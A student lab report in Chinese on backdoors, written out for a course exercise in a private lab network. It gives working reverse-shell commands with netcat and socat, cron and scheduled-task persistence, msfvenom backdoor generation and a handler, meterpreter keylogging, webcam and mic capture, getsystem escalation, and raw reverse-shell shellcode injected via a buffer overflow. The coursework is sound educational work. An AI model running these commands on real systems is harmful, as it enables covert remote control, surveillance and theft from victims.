2019-2020-2 20175322周弋鸿《网络对抗技术》Exp2 后门原理与实践
1.后门概念
- 后门就是不经过正常认证流程而访问系统的通道。
2. 常用后门工具
2.1 NC 或 netcat
2.1.1 Win获得Linux Shell
-
在Windows下使用
ipconfig
查看本机IP
-
使用ncat.exe程序
ncat.exe -l -p 5322
打开监听,并检查windows和linux的连通性
-
在kali中反弹连接Windows,
ncat 192.168.132.1 5322 -e /bin/sh
,使用-e
选项执行shell程序
-
windows下获得一个linux shell,可运行任何指令,如
ls
2.1.2 Linux获得Win Shell
-
在kali中先安装net-tools,然后才能使用使用
ifconfig
命令查看IP
-
打开监听
nc -l -p 5322
-
在Windows中反弹连接kali,
ncat.exe -e cmd.exe 192.168.132.138 5322
-
kali成功获得Windows的命令提示
*2.1.3 Mac获取Win shell
*2.1.4 Win获取Mac Shell
*2.1.5 Mac获取Linux Shell
*2.1.6 Linux获取Mac Shell
2.1.7 Netcat扩展知识
使用nc传输数据
- Windows下监听5322端口,
ncat.exe -l 5322
- kali反弹连接到Windows的5322端口,
nc 192.168.132.1 5322
- 连接建立成功,双方可以相互传输数据
使用nc传输文件(将文件从kali传给Windows)
- Windows下监听5322端口,并把收到的数据保存到file1.out中,ncat.exe -l 5322 > file1.out
- kali 反弹连接到Windows的5322端口,nc 192.168.132.1 5322 < file1.in
- 连接建立成功,Windows可以收到kali发来的文件
2.2 Meterpreter
- 后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
- 典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
- 参数说明
-p
使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e
使用的编码器,用于对shellcode变形,为了免杀。-i
编码器的迭代次数。如上即使用该编码器编码5次。-b
badchar是payload中需要去除的字符。LHOST
是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型>
输出到哪个文件
3.后门启动
3.1使用netcat获取主机操作Shell,cron启动
-
crontab -e
指令增加一条定时任务,-e
表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3
-
最后一行添加58 * * * * /bin/netcat 192.168.132.1 5322 -e /bin/sh,意思是在每个小时的第58分钟反向连接Windows主机的5322端口
-
linux在58分钟时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell
3.2使用socat获取主机操作Shell, 任务计划启动
-
右击
我的电脑
,点击管理
-
点击
任务计划程序
,再点击创建任务
-
填写任务名,新建一个触发器
-
新建操作,并在程序或脚本中选择
socat.exe
路径,添加参数一栏填写tcp-listen:5322 exec:cmd.exe,pty,stderr
-
创建好后显示任务准备就绪
-
到达21:25后,再次打开时,可以发现创建的任务正在运行
-
自行弹出一个cmd窗口
-
在kali中输入输入指令
socat - tcp:192.168.132.1:5322
,完成连接,获得windows shell
3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
linux使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.138 LPORT=5322 -f exe > backdoor5322.exe
生成后门程序
-
windows使用
ncat.exe -lv 5322 > backdoor5322.exe
,查看连接状态
-
linux使用
nc 192.168.132.1 5322 < backdoor5322.exe
传输后门程序,传输成功后windows会给出提示
-
传送接收文件成功
-
linux使用
msfconsole
进入msf控制台,并键入以下命令:
使用监听模块,设置payload:use exploit/multi/handler
使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
linux的IP地址:set LHOST 192.168.132.138
使用相同的端口:set LPORT 5322
查看设置:show options
-
进入msf控制台后的界面:
-
输入指令后的界面:
-
linux使用
exploit
开始监听,并在windows中运行后门程序,linux成功获得windows的shell
3.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用
record_mic
指令可以截获一段音频
-
使用
webcam_snap
指令可以使用摄像头进行拍照
-
使用
keyscan_start
指令记录下击键的过程,使用keyscan_dump
指令读取击键记录
-
使用
screenshot
指令可以进行截屏
-
使用
getuid
指令查看当前用户,使用getsystem
指令进行提权操作
3.5可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 在Exploit DataBase中搜索
linux/x86 - Reverse
下载反弹连接的shellcode并提取其中的机器码:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
-
linux使用
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
-
使用如下命令使输出重定向>将
perl
生成的字符串存储到文件input_shellcode中:
perl -e 'print "A"x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
-
打开一个终端使用
(cat input_shellcode;cat) | ./pwn1
注入这段攻击buf,再开另外一个终端使用ps -ef | grep pwn1
找到pwn1
的进程号,之后启动gdb
使用attach
调试,使用disassemble foo
查看ret
的地址,设置断点,然后在另外一个终端中按下回车,再在gdb
输入c
继续运行
-
使用
info r esp
查看栈顶指针所在的位置,并查看改地址存放的数据
存放的地址为0xffffd38c
,计算出shellcode地址就是0xffffd38c+4
,即0xffffd390
-
在一个终端中打开msf控制台开始监听
-
在另一个终端修改
input_shellcode
并使用cat input_shellcode;cat) | ./pwn1
运行pwn1
文件
-
另一个终端得到shell开始运行
4.收获感想
- 本次实验较为简单,但是比较好费时间。其中加分项可以借鉴之前实验一的操作流程,整个实验中没有太大的难点。通过本次实验,我了解了后门的基本原理,自己动手操作体验,感受到了后门的危害性,希望在日后的学习过程中能够学到更多知识。
5.问题回答
- (1)例举你能想到的一个后门进入到你系统中的可能方式?
- 在非官方网站上下载应用程序,这些程序有可能会绑定某些可执行文件,从而留下后门。点击钓鱼网站的链接之后,可能会有可执行文件下载到电脑中,留下后门。
- (2)例举你知道的后门如何启动起来(win及linux)的方式?
- Linux:Crontab定时启动;注入shellcode。
- Windows:新建任务计划;修改注册表项,设置后门程序自启动;用户执行带后门的执行文件。
- (3)Meterpreter有哪些给你映像深刻的功能?
- 通过后门控制被控主机的shell,可以获取目标主机的音频、摄像头、击键记录等功能。
- (4)如何发现自己有系统有没有被安装后门?
- 使用安全软件,对系统进行定时检测,查杀恶意文件。
- 使用任务管理器等系统软件查看后台是否有异常程序。